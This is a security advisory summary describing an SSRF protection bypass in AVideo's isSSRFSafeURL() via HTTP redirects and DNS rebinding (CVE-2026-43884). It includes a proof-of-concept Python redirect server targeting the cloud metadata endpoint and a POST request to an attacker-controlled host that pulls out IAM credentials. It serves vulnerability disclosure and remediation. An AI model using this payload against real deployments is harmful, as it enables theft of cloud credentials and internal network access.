# AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()

AVideo's isSSRFSafeURL() only validates the initial URL; two endpoints fetch with file_get_contents() following 302 redirects to cloud metadata, leaking IAM credentials.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: SnailSploit
- Disclosed: 2026-05-05
- CVE: CVE-2026-43884
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2hch-c97c-g99x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2hch-c97c-g99x
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:race-window vuln:access-control vuln:ssrf

**Target:** PHP web app endpoints (receiveAsync.json.php, EpgParser.php) fetching user-supplied URLs
**Root cause:** isSSRFSafeURL() validates only the initial URL, but the two endpoints call bare file_get_contents() with PHP's default follow_location=1, so a 302 to an internal address is fetched without re-validation. Separately, 8 of 9 callers discard the $resolvedIP out-param, enabling DNS rebinding TOCTOU.
**Steps:**
1. Run attacker HTTP server returning `302` with `Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/`
2. Send `POST /plugin/AI/receiveAsync.json.php` with `type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir`
3. isSSRFSafeURL() resolves attacker IP as public and passes
4. file_get_contents() follows the 302 to the metadata endpoint with no re-check
5. Metadata/IAM credentials stored as a video thumbnail, retrievable by attacker
6. DNS rebinding variant: TTL=0 domain alternating public IP then 127.0.0.1; validation resolves public, fetch resolves localhost
**How found:** Noticed the safe helper url_get_contents() implements follow_location=0 plus per-hop isSSRFSafeURL() re-validation, then checked other callers and found two endpoints using bare file_get_contents(); also observed only 1 of 9 callers consumes the $resolvedIP DNS-pinning out-param.
**Exploitation:** Authenticated attacker submits a URL to an affected endpoint pointing at their own server, which 302-redirects to 169.254.169.254 or internal hosts; the fetched response is persisted as a thumbnail/image and read back through the app, exfiltrating IAM credentials or internal service data and enabling internal port scanning.
**Escalation:** Chaining redirect bypass with cloud metadata access yields IAM credential theft; DNS rebinding widens reach to localhost/private network services.
**Insight:** When a codebase has a hardened fetch helper, grep for every other call site of the same validator and the raw fetch primitive — partial propagation of a security fix (redirect handling, DNS pinning out-params) is where the bypass lives.

## Proof of concept (copied exactly from the original report)

**Attacker redirect server returning 302 to metadata**

```
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
```

**POST request triggering redirect SSRF**

```
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded

type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
```

